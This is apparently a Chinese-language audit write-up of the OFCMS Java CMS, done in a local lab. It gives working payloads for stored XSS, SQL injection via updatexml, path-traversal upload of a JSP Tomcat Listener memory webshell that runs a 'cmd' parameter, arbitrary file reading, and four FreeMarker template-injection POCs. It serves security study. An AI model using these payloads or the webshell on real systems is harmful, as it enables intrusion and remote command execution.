环境搭建

工具:IDEA 2024
jdk:1.8
maven:3.9
mysql:9.0community
tomcat:8.5

大致框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ofcms-admin
-admin
-controller
-domain
-service
-task
-core
-config
-handler
-interceptor
-plugin
-render
-uitle
-front
-controller
-template

ofcms-api
-cms
-api
-service

ofmcs-core
-core
-annatation
-api
-method
-route
-spring
-utils
-validator

ofcms-front
-page
-front
-blog
-static

ofcms-model
-model
-base

这里主要还是分析of-admin的内容,搭建的是用的admin.war

审计目的

培养合适的审计思路

该次审计步骤

需要先去阅读文档,查看该cms拥有哪些功能点,哪些功能点存在漏洞的概率较高
然后先去盲测
接着深入代码,进行审计分析

我的审计过程

先去前台随便翻一翻

截屏2024-10-21 09.09.41.png

这里有个用户评论,随便测一下,发现是储存型xss

XSS

先去将前台的xss漏洞找到对应文件
全局搜索”评论”,找到对应的js文件
在对应的文件
/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html
找到了对应的传入的参数处理
${data.comment_content}
没有做任何转义,并将传入的内容返回到js中,造成了储存性xss

接下来接需要去寻找真正的java漏洞

sql篇

在全局搜索getPara,寻找参数
截屏2024-10-21 09.09.52.png

意外地发现有个sql参数
跟进

/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

1
2
3
4
5
6
7
8
9
10
11
    public void create() {  
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
}

在接受了sql参数后,没有经过过滤,直接进行update

1
2
3
public static int update(String sql) {  
return MAIN.update(sql);
}

就是调用到了update函数执行sql语句

利用update注入结合报错注入,可以达到注入的目的
但是需要知道table column
去数据库随便找到了of_cms_access 存在列site_id
故而payload

1
update of_cms_access set site_id=updatexml(1,concat(0x7e,(select  group_concat(schema_name) from information_schema.schemata),0x7e),1)

截屏2024-10-21 09.10.06.png

接着寻找其他是否依旧存在类似的sql注入
查看了其他的参数,多多少少都进行了字符串拼接,无法绕过

文件上传篇

在getTemplate有save相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void save() {  
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
1
2
File file = new File(pathFile, fileName);  
FileUtils.writeString(file, fileContent);

存在写入文件的操作
需要先观察他有哪些参数

1
2
3
4
res_path
dirs
file_name
file_content

根据测试,可以发现
file_name可以进行目录穿越然后文件上传
尝试目录穿越到/static目录下

构造

1
http://localhost:8081/ofcms_admin_war/admin/cms/template/save.html?file_name=../../../static/N11.jsp&file_content=

tomcat/webapp/of_cms_war/web_inf/static中,可以看到上传的N11.jsp

截屏2024-10-21 09.10.15.png

之后我尝试了上传tomcat的Listener内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

进行url编码后上传
访问对应目录,执行
截屏2024-10-21 09.10.24.png

成功rce

文件任意读取

搜索getTemplate
找到相应位置

1
ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

getTemplates函数是获取到

1
2
3
4
5
6
7
8
9
10
11
12
public void getTemplates() {
...

if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "&lt;").replace(">", "&gt;");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
...
}

说是文件任意读取,其实就是加载文件便于编辑
但是危害在于任意读取
收集参数

1
2
3
4
dir
up_dir
res_path
filename

但是在getTemplate函数中发现到一个白名单

1
2
3
4
5
public boolean accept(File file) {  
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});

任意文件读取只能读取到

1
2
3
4
html
xml
css
js

构造payload

1
http://localhost:8081/ofcms_admin_war/admin/cms/template/getTemplates?filename=N11.html&dir=../../../static

截屏2024-10-21 09.14.17.png

模版注入

由于在后台
模版设置中可以设置index.html
可以进行freemarker模版注入
在index.html的文件头加入freemarker的模版注入的poc,再访问http://localhost:8081/ofcms_admin_war/index.html

freemarker

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件

new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。
但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

POC1

1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

POC2

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","/System/Applications/Calculator.app/Contents/MacOS/Calculator").start()}

POC3

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

POC4

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator") }

反思与总结

在搭建环境的时候由于tomcat版本高了,和jdk的版本不匹配导致搭建环境很久,需要多试试切换不同版本的环境来尝试

由于java的基础漏洞的函数积累太少了,全局搜索的函数很有限,所以在积累危险函数的同时,可以从功能点开始审计

对于功能点的payload实践,刚开始找不到路径,可以看看文件头的路径设置

对于文件上传的文件位置,是储存在tomcat的webapp下的对应的文件里

对于复现文件上传时,别人都连接的冰蝎,需要去学习一下冰蝎的一句话木马,便于对抗不同的容器环境